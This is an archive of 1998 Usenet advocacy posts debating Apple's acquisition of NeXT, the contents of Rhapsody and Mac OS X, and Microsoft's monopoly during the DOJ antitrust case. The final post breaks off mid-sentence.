>Protected VM: 14 years late. (68000 with mmu was one
>of the first UNIX desktops)
Timesharing. Multi-user (probably). More speed and more stability. But all
very late, I agree.
>With the possible exception of high resolution graphics, everything NeXT
>shipped in 1988 could have been in the Mac. People will say BS, no Mac
>customer could have afforded it. Wake up! I purchased a Next Cube in early
>1989 partly because it was CHEAPER than the most nearly equivalent Apple
>product and had more features to boot.
Right.
>My GOD! Look at the Apple APIs. They are worse than Win32. Take into
>account that they are built on shaky OS foundations and just cringe.
>Windows deserved to beat the Mac. Windows is crap too, but it is a hell of
>a lot more modern/powerful today. Oh yah, I forgot, Mac users love their
>GUI and work flow. Well, I have got news - it is not all that great
>anymore. In many ways it lags Windows and do you know what? The advanced
>MAC look and feel in Rhapsody uses the exact same Openstep APIs that
>implemented the NeXT GUI. The only reason it didn't do it 10 years ago is
>that some people wanted something better and more consistent.
>
>I am just surprised Apple has not removed proportional scroll bars on the
>grounds that they are not Mac like.
Yes, that is a surprise :-)
Actually, a main bonus when acquiring NeXT was acquiring the people (Tevanian
c.s.). Apple needed people with that quality. It was clear that their own
developers couldn't deliver (Copland failure etc). It would have been
troublesome and costly to try to lure these people en masse away from NeXT.
They also hired some of the old NeXT hardware people (also very good).
Apple's software strategy seems to be that they want to do now what Microsoft
is doing too: get a common software bases for ordinary users and power
users/developers/server systems. For Microsoft: NT. For Apple MacOS X.
--G
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Next purchase a mistake
Message-ID: <edewEuz6Lz.FJA@netcom.com>
Sender: edew@netcom18.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
Date: Mon, 22 Jun 1998 23:01:11 GMT
In article <6mku6n$lk61@odie.mcleod.net> "Michelle L. Buck" <buck.erik@mcleod.net> writes:
>I want to be convinced!
>
>I have had several replies to the arguments against the NeXT acquisition.
Well, you might say that Apple bought $400M worth of human workers. Can
the 300+ ex-NeXTers/now-Applers bring an ROI of the $400M? Technology-wise,
I think they can. Market-wise...not clear.
Remember, the most valuable part of NeXT was the human resources (no, not
the department!).
EDEW
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Who's on the bleeding edge? (Was: Next purchase a mistake)
Date: 22 Jun 1998 16:07:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mmo2k$4dc@nntp02.primenet.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de>
Michael Schuerig <schuerig@acm.org> wrote:
: Mac developers are years behind? It would help for sure if you told us
: who's on the bleeding edge: The Wintel crowd? Smalltalkers? Lisp-Machine
: Hackers? CMM level N shops? The Holy Java Revolution? Or the Patterns
: Movement? (Let's rule out the last one up front: "It's all been in the X
: Kit for years" as I've heard more than one old-time NeXters say.)
Who's on the the bleeding edge?
I have another answer, www.freshmeat.net ... I just went over there to see
how many of the packages I installed yesterday were updated today ... just
one. I was lucky ;-).
I'm sure most computer users _don't_ want an OS that changes every day,
but if you are a technology junkie ...
John
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 02:41:09 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <359411ae.2541591@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <6mmse2$m0u$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
dpetticord@hotmail.com, on Tue, 23 Jun 1998 00:21:22 GMT,
>In article <petrichEuyx44.Lx8@netcom.com>,
> petrich@netcom.com (Loren Petrich) wrote:
><snip>
>> >I appologize, I misunderstood your argument. I am still a little fuzzy on
>> >your position. Are you saying "the Internet became easy to access (WWW, etc)
>> >by itself and any credit Win95 received is totally bogus"?
>>
>> Imagine that M$ had never existed. I'm sure that some other
>> company would have taken its place. This is because the 1970's and 1980's
>> had seen several competing microcomputer architectures.
>>
>
>We do not have to imagine. IBM's OS/2 Warp was pushed as the "on-ramp to the
>internet". If it had been priced a little lower advertised a little better,
>who knows...
By the time Warp came out, we were in too deep to get out, though we had
hardly noticed the quicksand as it crept above our rib cage. I'm afraid
it's simply fatalistic to thing "priced a little lower, advertised a
little better". I suspect that is an illusion caused by the fact that
despite the apparent value of the product, and the high hopes for it, it
'never seemed to *really* catch on'.
Am I really being a conspiracy theorist if I point out that every time
OS/2's price came down, Windows was still "cheaper", and every time a
new capability was introduced, Windows had a next version coming soon,
and although there was hype at retailers, the OEMs seemed... averse,
shall we say... to carrying anything but DOS/Win.
It wouldn't have really mattered how low the price, or how good the
product. Bill Gates owned the PC platform, had stolen it right out from
underneath the industry, and it didn't matter _what_ OS/2 did.
>This falls under the category of "woulda, coulda, shoulda".
Don't it always?
> The point was
>(and is) that Windows95's bloatware features got the attention of people
>who wanted to get on the internet and/or setup small office LANs. We can
>argue about carts and horses, but Microsoft was obviously responding to
>market (customer and competitor) forces.
If you can argue about carts and horses (and I can), then this kind of
thing is not obvious, no. There are only two differences I can find
between virtual competition and real competition. Timing, and whether
they can keep monopolies in check.
Virtual competition just gives the monopolies more to sell. They also
confuse people about cause and effect. If I have to seem the troll, I
will, but I will _not_ let you, David, or anyone else get away with
these prejudicial comments attributing the modern value of PCs to the
existence of a Windows monopoly. No, David, sorry. I was setting up
small office LANs for three years before Windows was even introduced.
And I wasn't the first. And the logarithmic progression of people
getting interested in the internet and LANs in recent years is a feature
of something called the network effect, not the Windows Experience.
>> I suspect that the result would be a veritable industry of Win32
>> support for various PeeCee Unixes and Unix-like OSes.
>
>Why do you think PeeCee Unixes will be any more homogeneous than other Unixes?
>What will keep the PC hardware manufacturers from diverging?
Customer demand, same as now. Besides, I think you overvalue
homogenaetty. Within a company, maybe, its great. Otherwise, it simply
restricts your alternatives. "Cyberdiversity" is a word I just invented
as I typed it, but I think it is a very obvious and important concept.
>Here is just one answer to your question of "how so?"...
>
>OEMs have a history of trying to "improve" their products by designing
>propriatory, non-standard boards. The need to be compatible with the next
>release of Windows is what has kept them at bay. If you get rid of this,
>I have little doubt that OEMs will contractually tie themselves to "their" OS
>producer and immeadiately put everything on the mother-board to reduce cost.
>The fragmentation of the PC market will be inevidable after that.
Somebody has finally actually _spoken_ this ludicrous theory that we
*must have* a Windows monopoly or the PC platform of open architecture,
industry standard interchangeable components will not have any value.
>History is full of well-meaning revolutions that result in extreme chaos,
>misery and pain.
When discussing economic markets, I don't think "extreme chaos" causes
misery and pain. More like wealth and opportunity, actually.
> Microsoft is a fairly benevolent dictator (Most upstarts
>receive generous bribes to go away), but a dictator is a dictator and it is
>human nature to fight them. Just be sure you will be happy with what you
>are asking for.
I do believe you are losing it, David.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: Intel dr2?
Message-ID: <iPDj1.34783$BE5.11393514@news.rdc1.nj.home.com>
Date: Tue, 23 Jun 1998 01:47:58 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 18:47:58 PDT
Organization: @Home Network
Anyone get this yet?
-chris
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com> <6mlvqh$ht4$1@news.cs.tu-berlin.de> <6mm4th$d1p@nntp02.primenet.com>
Subject: Re: Next purchase a mistake
Message-ID: <oXDj1.34784$BE5.11396749@news.rdc1.nj.home.com>
Date: Tue, 23 Jun 1998 01:56:36 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 18:56:36 PDT
Organization: @Home Network
Who is Alan kay?
John Jensen <jjens@primenet.com> wrote in message
6mm4th$d1p@nntp02.primenet.com...
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>: Java and C++ make you think that the new ideas are like the old ones.
>: Java is the most distressing thing to hit computing since MS-DOS.
>: - Alan Kay -
>
>Java is the most distressing thing to hit computing since Alan Kay.
>
>John
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 19:27:13 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-2206981927140001@user-38ld62h.dialup.mindspring.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at>
In article <6ml68j$6ik$1@news.tuwien.ac.at>, wilkie@cg.tuwien.ac.at
(Alexander Wilkie) wrote:
> Face it, although we've got a fair number of seriously clueful Mac developers
> as frequent contributors to this NG, this is apparently not the general rule.
> To warm up old hostilities, I contend the following opionion:
ahhh. The "they don't agree with me, they just don't get it!" argument. An
old Usenet advocacy favorite. Incidentally, from a statistical standpoint
this - or any - newsgroup isn't a particular meaningful sample of Mac
developers.
> <mode = frustration + flame bait>
>
> The Mac as we know it is the platform with the highest luser-to-user ratio in
> computing history (and this includes Sony playstations etc.). The average Mac
> developer is a) years behind w/r to technical issues and b) as flexible as
> ceramic tiles when it comes to technical innovation.
>
> The bizarre thing is that they don't even notice how the world (i.e. the
> "others" they have always felt too elated to even look at) has overtaken them
Most Mac developers are actually cross platform developers. Being
multiplatform forces one to be pretty familiar with tools issues (before
the buyout OpenStep was being pitched as an enterprise developer tool for
building NT apps)... They do tend to disdain things like gdb, but who
wouldn't after being pampered by Metrowerks.
> Why the heck does one spend years studying computer science and "proper
> programming" if you have to earn your money as an engineer in a world with
> Microsoft/Windows and the Mac palaeo-technocretins as alternatives? Pig
Well, theres your problem right there, you actually let your university
professors define 'proper programming' for you. When in the history of
computing has real world software development resembled a cs assignment?
:)
-mark
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 23 Jun 1998 02:39:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ou5b2.h67.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net> <6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com> <6mlro0$gfb$1@ns3.vrx.net>
On 22 Jun 1998 15:03:28 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>> Apple users/developers do not want BSD UNIX.
>> Apple users/developers do not want YellowBox.
> Yes they do.
No they don't. They want the functionality and stability that Unix offers, not
Unix. They want better Apps, not a tool to build better Apps.
This is a major problem that MacOS has faced. There is so much ideology tied
up in the Mac market, that any change is seen as sacrilege.
The issue is marketing. How do you give Mac users what they want, but without
the scary "u" word? You lie to them. Bold face lie. Give them Unix but call
is MacOS.
--
sal@panix.com
Salvatore Denaro
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Mon, 22 Jun 1998 21:38:33 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6mn4i7$71a1@odie.mcleod.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net> <6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com> <joe.ragosta-2206981614580001@wil70.dol.net>
Joe Ragosta wrote in message ...
>Start by reading up on what Mac OS X is. It's Rhapsody PLUS Carbon Minus
>Intel compatibility.
It is Rhapsody
minus Display Postscript,
minus remote display,
minus consistent user experience,
minus ubiquitous services,
minus an OO API to Quicktime (NextTime),
minus ubiquitous standard UNIX command line tools,
minus the Openstep GUI,
minus FileManager,
minus 3dKit,
minus device independence/WYSIWYG (debatable ?),
minus FAT binaries,
minus Intel support,
minus cross compilation,
minus the FileManager Find panel that searches the text of files rather than
just the file name,
plus HFS+ and defrag tools,
plus revived POSIX,
plus new Mach kernel,
plus server suitability issues,
plus AppleScript,
plus Mac Finder,
plus delete floppy to eject,
plus Mac GUI,
plus inconsistent text behavior (to be compatible with Mac GUI the "all text
is selectable" philosophy is dead),
but most importantly, plus Adobe, Microsoft, and Macromedia applications.
On the whole I do not know if is a good trade or not. It IS essential to
have Microsoft Office. The question was, "Was the NeXT purchase worth 400M
?"
I will go out on a limb and admit that I think it was worth it IF Apple
actually uses YellowBox and provides new APIs. The fact that MacOS-X will
apparently have a Carbon Finder scares the hell out of me.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Selling WO is hard work (was: Re: Next purchase a mistake)
Date: 23 Jun 1998 02:56:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ou6aj.h67.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com> <6mmhb7$eos$1@news.digifix.com>
On 22 Jun 1998 21:12:07 GMT, Scott Anguish <sanguish@digifix.com> wrote:
> Apple Customers aren't the market that WebObjects is trying to
>get.. The market that WebObjects is aimed at is the market that hates
>Apple.
This is 100% true. I am shocked at the hostility that a little bit of
hexachromatic fruit can inspire. WO has a brilliant reputation on Wall
Street, with some great success stories. But from what I've seen/heard
it is a major battle to sell your boss on using it. On the other hand,
Microsoft's Visual J++ has a string of projects that have become failures
of Titanic proportions, yet it is an easy sell.
Apple _needs_ to clean up its image.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 02:48:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ou5r3.h67.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <rmcassid-2206981714250001@dante.eng.uci.edu>
On Mon, 22 Jun 1998 17:14:25 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>>>Could Apple have done OS X by itself? No.
>>AU/X ring a bell? If Apple had more of a clue, they would have built
>>AU/X for the PowerMac and hosted a 68k virtual Mac on it. AU/X was the
>>more Mac-like Unix of the time.
>But AU/X never tried to do all of the things that MacOS X promises to do.
>It filled a role but never aspired to go on to greater things with any
>credibility.
Due to the gross incompetence of Apple, not the failings of AU/X. Heck,
the ISP I use started on a MacIIx running AU/X and a UUCP news/mail feed.
Apple wasted time and money on the newton and the QuickTake camera, when
they should have been building a real OS.
>Appearance Manager.
Is this going to be in MacOSX? And if it is, wouldn't it make sense to
use NSInterfaceStyle as the foundation of it?
>But will PPC be blowing the IA32 chips out of the water
>price/performance-wise by then? G4 is supposed to be non-trivial, unlike
>G3.
Who knows. The fact that IBM pulled out of the PPC plant they shared
with Motorola makes me wonder is the g4 isn't running into problems.
>>It is a one-step process on my NT box. I pick "edit" from netscape's menu.
>>It would also be a one step in word. Word lets me open URLs for editing.
>Netscape and Word make atrocious editors.
Fair enough. I'll take your word on this.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 03:01:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ou6kk.h67.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com> <6mlvqh$ht4$1@news.cs.tu-berlin.de> <6mm4th$d1p@nntp02.primenet.com> <oXDj1.34784$BE5.11396749@news.rdc1.nj.home.com>
On Tue, 23 Jun 1998 01:56:36 GMT, Chris Van Buskirk <cvbuskirk@home.com> wrote:
>Who is Alan kay?
http://wright.biology.ucla.edu/TheFuture/classpages/Alan_Kay.html
http://ei.cs.vt.edu/~history/GASCH.KAY.HTML
You might find more stuff on him if you look up his name in the OOP
FAQ and the SmallTalk FAQ.
--
sal@panix.com
Salvatore Denaro
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 03:41:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mn85r$mkc$1@nnrp1.dejanews.com>
References: <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <359f66ae.57736605@news.supernews.com>
In article <359f66ae.57736605@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Mon, 22 Jun 1998 05:07:29 GMT,
<snip>
> >So I will revise my statement to "IN MY OPINION, a significant
> >number of people saw Microsoft products as the easy way to access the
> >Internet and establish small office networks".
>
> Your statement seems contradictory. It seems that your experience is
> that a significant number of people saw accessing the Internet and
> establish small office networks as a good thing, and Microsoft was
> effectively the most obvious (not the easiest or the best way, from a
> technical standpoint, at all) method available at that time, due to its
> unethical monopoly.
>
> Aren't you ever going to get tired of apologizing for Microsoft's
> monopoly? Why the hell should you have to explain to people that the
> Internet and LANs were not invented by Microsoft? I can only surmise
> that you believe the hype that it is because their software is so much
> better than any alternatives that Microsoft has such a large market
> share. This is bogus, and disingenuous. You either recognize that, a)
> while possibly functional, Microsoft's software is not any more
> "superior" than anything else, or b) you believe that it is Microsoft's
> software that made the Internet and LANs popular.
>
I agree with "a" but I also agree a little with "b". Microsoft did do a
lot of advertising, it had to have an effect on the Internet's popularity.
<snip>
> >If this is what you are saying, I would agree this was true for the technical
> >types like us. I used the company's VAX to access the internet well over
> >10 years ago. Trumpet was good for getting a TCP/IP connection on
Windows3.1,
> >but all of this was still too complicated for the mass market. OS/2 warp got
> >a LOT of mass market attention by advertising itself as the on-ramp to the
> >internet. At the time, I thought IBM had a real chance at a come back.
> >(I was not alone in this misguided presumption).
>
> Once again, your "history" of the Internet starts with Windows "making
> it easy". You don't understand; I am not arguing that Win95 doesn't
> make connecting to the Internet "easy". But any OS with a built-in PPP
> dialer would have been every bit as popular (note the possibility you
> cite in Warp); it was the public perception, spawned by monopolistic
> practices and deceptive marketing, that made Windows so popular, not the
> fact that it had Dial-Up Networking.
>
I assume you would agree that if Windows95 did NOT have dial-up networking,
OS/2 Warp would have stood a much better chance of surviving. Marketing's
legitimate purpose is to mold public perception. Windows95 was just "good
enough" to allow the marketing machine to be effective. It is a cruel reality
that perceived quality is more important than actual quality in determining
a product's success.
<snip>
> >> Others exploited the readiness; Microsoft exploited them. The mass
> >> market wasn't "ready" for the Internet. The Internet was ready for the
> >> mass market. Or at least some bureaucratic dweebs in Washington thought
> >> so.
> >
> >You lost me on the "dweebs" part. In fact you lost me on most of this
> >argument. I am saying the rapid growth of the internet was due to public
> >interest combined with cheap, easy to use, software tools. What are you
> >saying?
>
> I'm saying that the public interest in the Internet and cheap, easy to
> use, software tools were made possible by, not the cause of, the rapid
> growth of the Internet. Typical inversion of cause and effect in modern
> perception.
>
> You don't build cheap, easy to use software tools for something that
> isn't popular yet, and thereby make it popular. You build software
> tools for what is already rather popular, and that makes it easier. I
> recognize that there is cyclic feedback involved. But as far as "which
> came first, the chicken or the egg", the use of on-line services in the
> late 80s did not attract the kind of attention that the same
> functionality via the Internet did in the early 90s. The reason was
> that prior to the early 90s, commercial organization were restricted
> from using "the Internet", which at the time was the NFSnet.
I will concede it is a "chicken or egg" stituation and will drop the argument
since it really is unimportant whether Microsoft responded to the market or
to a regulatory change. The point was (and is) that Microsoft was
legitimately responding to outside stimuli. If they did not, it would have
been gross neglegance on the part of the upper management.
<snip>
> >> Just what exactly is the definition of "anti-competitive" in this sense.
> >> I was under the impression that, in order to even _hope_ to succeed with
> >> an anti-competitive behavior, you have to be doing something illegal.
> >
> >It is "anti-competitive" to lock a customer into a multi-year contract.
> >It is "anti-competitive" to suppress technological breakthroughs.
> >
> >These are legal activities for most companies.
<snip>
> The fact is, I can't think of any other definition of
> "anti-competitive" other than "putatively competitive but illegal".
Max, if you use the word "illegal" in your definition, then of course
anti-competitive would have to be illegal. <g>
<snip>
> >My definition of anti-competitive
> >activity is any activity whose purpose is to hinder competitors from selling
> >to a company's current or potential customers by means other than fair
> >pricing and product quality. What is your definition?
>
> Well, you nailed it, though I feel the need to make the distinction
> between "anti-competitive" which meets your definition plus the caveat
> "and your dominant market position gives you a reasonable possibility of
> success in this activity", versus "stupid idea", which would cover these
> types of actions by anyone who doesn't have a monopoly.
>
> >> > Again, the
> >> >threshhold of illegality is anticompetitive actions that ONLY a monopoly
can
> >> >do.
> >>
> >> I hardly think that anti-competitive actions from competitive
> >> (non-monopoly) companies would be very effective. So yea, I guess you
> >> could call them "legal", though I think the term "stupid" would be more
> >> appropriate. Wouldn't anyone other than a monopoly only _hurt_ their
> >> market share by trying to be anti-competitive?
> >>
> >
> >I do not agree. There are many examples of small companies raising barriers
> >for start-up companies into "their" industry. Do you really think small
> >software companies DON'T try to trap with propriatary software designs?
> >I can list many instrumentation vendors that do exactly this.
>
> You mistake the concept of "small company" as an absolute metric. If
> they are capable of raising barriers to entry in "their" industry, then
> as far as that industry is concerned, they must be giants, eh?
hmmm :(
This is becoming a circular argument. If I point to small companies doing
activies that are clearly anti-competitive, you counter by saying the activity
is NOT anti-competitive or the company is not small.
Max, the very act of keeping trade secrets is "anti-competitive". Of course,
it is not wrong to keep trade secrets unless you are Microsoft and the secrets
you are keeping are undocumented APIs.
> I think that many small software companies MIGHT try to trap you with
> proprietary software designs. They generally fail miserably, right?
The opposite has been my experience, unfortunately.
<snip>
> Your citations of "the law" is simply the consent decree, not a law
> which says bundling is illegal, though I agree with your overall
> description. Anti-trust is anti-trust, anti-competitive is
> anti-competive. It doesn't matter whether it is licenses, packaging, or
> design. This appears only to be a precedent in your analogy, however.
> It won't be any different for the courts to refer to software design in
> determining Microsoft's legal case then having the courts recognize what
> a phone is when dealing with AT&T. It wasn't Bell's design of the phone
> which was the issue, it was their _use_ of the design of the phone.
The phone design was not changed. At best you could argue the phone SYSTEM
design was changed. But I do not think that was even true. All that was
changed was the break-up of existing business entities.
<snip>
> >Max, this is the whole paradox. How will the DOJ justify the separation of
> >browser from operating system without talking about design?
>
> Why would they need to? It isn't the software that needs to be
> separated, it is the markets that need to be separated.
>
> > If the DOJ could
> >take an off-the-shelf Windows98 and show two separate, functional products,
> >they might have a chance. There is little hope of them doing that.
>
> I fail to see the relevance. Though I think my thoughts on this will
> not make you more comfortable with the reality. The fact is that this
> trial WILL completely throw out many "legal precedents" supposedly set
> by the consent decree. There are no rules in software. Therefore,
> there are no rules about how you need to examine software for evidence
> of monopolistic practices. I think the fact that the DoJ _can't_ show
> two separate products inside of Win98 more strongly supports their case
> then otherwise. We're not deciding if MS can bundle browsers. We're
> deciding if MS can monopolize.
>
Actually, I find the thought humorous coming from the person strongly agreeing
with the DOJ's position that the OS and Browser were clearly two separate
products.
I will stick to my guns. Yes, the fact Microsoft "glued" the two products
together is proof positive of Microsoft's intent.
> >That leaves few choices. They could argue the unpopular idea of restricting
> >DESIGN. They could argue that software FUNCTIONS are the products and not
the
> >code. They could define software as SERVICES. All of these are arguments
> >with no legal precedents.
>
> How about if they just argue that you can't use one monopoly to take
> over other markets, like they always have.
The DOJ can not convict purely on the fact that Microsoft has successfully
entered into joining markets. They must show the METHOD Microsoft used was
illegal. In otherwords, they must show the software DESIGN is illegal and
must be reversed.
> I believe that your issue is
> whether or not "OS" and "browser" are separate markets, and that's why
> we would need to look into the software, and define designs, functions,
> or services. But this is inaccurate.
Nope. Like I said, the DOJ must determine HOW Microsoft is obtaining a
monopoly, and show that the method is illegal. Along with defining
the separate markets and proving Microsoft is a monopoly.
<snip>
> >The other possibility is to use mis-direction. Find them guilty of
> >participating in an illegal discussions with Netscape and punish them by
> >forcing a separation of products or groups. This falls into the category
> >of "any guilty verdict will do".
>
> Excuse me. How would punishing a company for illegal activities be
> "mis-direction".
It is mis-direction if the punishment does not fit the crime. An appropriate
punishment for holding illegal, but unsuccessful, meetings would be fines and
jail time for the offenders. You do not take the child away to punish a
parent for shop-lifting without holding a child-endangering hearing first.
> The actual category is "any conviction that breaks the monopoly will do".
As you wish. It still sounds like "the end justifies the means".
<snip>
> >We are getting to focus of our disagreements. You are pointing to the
> >big picture result "trade is being restrained" and I am looking for the
> >specific ILLEGAL cause.
>
> If I am not mistaken, retraining trade is illegal. The cause is
> irrelevant.
This is where we disagree BIG TIME. If trade is being restrained only
because the mass market knows and trusts the name "Microsoft" due to
successful advertising campaigns, there is NOTHING illegal about that.
You may not like it. You may feel it is wrong and should be changed, but the
courts should not be the ones to initiate that change (IMO).
> You might mean, I believe, that you are looking for the
> specific illegal ACT. IMHO, you can take your pick; MS has been
> performing acts which illegally restrain trade since before anyone
> noticed they were building a monopoly.
Yes, this is what I ask. I will be reviewing the SPA's white paper for a
summary of these illegal activities. I will post my analysis for your
entertainment. <g>
> If you feel you need to find the
> "final straw" in order to make your case, then putting OS updates into
> IE and Office distributions should be more than adequate, I believe.
Hmmm, since Microsoft considers IE to be part of the OS, I do not understand
that argument. I will look into the "Office" situation a little more, but
I suspect it is just a needed "OS update" that is freely available to all.
How is this illegal?
<snip>
> >If you want, blame Microsoft for forcing you and the DOJ to take that DESIGN
> >decision away from them, but that is what it is going to take for a direct
> >challenge (IMO).
>
> If you say so. OK. But once again, it is not the DESGIN decision which
> will be taken a way. It is the "right" to implement that design
> decision, which I think is a very important distinction. For one thing,
> I think it refutes all of your "they're establishing new precedent"
> worries. Yes, applying anti-trust laws to a software-only market is a
> new thing. But that doesn't really mean it necessarily works any
> different from dealing with any other anti-trust monopoly.
>
I respect and even tend to agree with the idea that the courts may need to
restrict some company's right to certain software design implementations.
Hold on to your hats if the DOJ actually makes this argument.
<snip>
> >Even the DOJ is suggesting the open desktop is "one of many options". The
> >DOJ does not want to force the court into an all-or-nothing decision. I do
> >not fault the DOJ for this.
>
> The open desktop is every bit as much an all-or-nothing decision as any
> other act designed to mitigate MS's unethical monopoly. Saying that
> this is "hedging their bets" seems to indicate that all we want is to
> "get" Microsoft. I, and the DoJ, have an interest in "getting"
> Microsoft's monopoly. Any one of the many options which would
> successfully do this is quite appropriate.
>
We definately getting to the splitting hairs stage.
<snip>
> >I never thought of him as a visionary. I have generally thought of him as
> >a good snake-oil salesman. I just wish we would quit blaming those that
> >expose our weaknesses and start fixing the root problems.
>
> The fact that you don't think making it quite clear that we do not
> tolerate snake-oil salesman in ethical commerce IS the root problem.
little-old-me? <g>
> You are going to thank someone from kicking you in the head because they
> were kind enough to point out that your head is near their boot?
Many people need a kick in the head at times (including me).
> The root problem is ignorance, and men willing to take advantage of
> ignorance to line their pockets. The root cause is tolerance of
> disingenuous, duplicitous behavior because we must give everyone the
> benefit of the doubt, and if you are creative in lying at only the right
> times, you can't get caught. This is the purpose of both RICO and
> anti-trust, in my opinion: to give the good guys a legal remedy for
> saying "yes, each individual action by this snake-oil salesman may not
> be illegal, but the end result is".
I am tempted to say "a legalized form of mob-rule", but I won't <g>.
Yes, it is the law of the land, and I will respect it. I will also
insist that it is not abused.
> >We are back to "this situation is impossible to be legal". Maybe I am
> >too experienced technically. I long ago gave up on the idea of building
> >a better mouse-trap in order to get people knocking on my door.
<snip>
>I make a reasonable living doing this and
> >my conscence is clear. Why, then, am I "fighting" against Microsoft critics?
>
> Because you are "too" experienced technically. Your expertise are quite
> impressive, but still specific. If you have that much experience, I
> honestly don't know why you can't understand that there is absolutely no
> technical basis to an OS monopoly on an open hardware platform The
> whole idea just doesn't make any sense.
>
Because I also have training in Marketing were perception is more important
than reality.
> But I suspect the reason you have trouble with this concept is the same
> that most less experienced people do. You put "computers" like Apples
> and PCs in the same box; you include both Amiga and OS/2 as alternate
> OSes.
>
> The point is you consider a single OS to be the _normal_ environment for
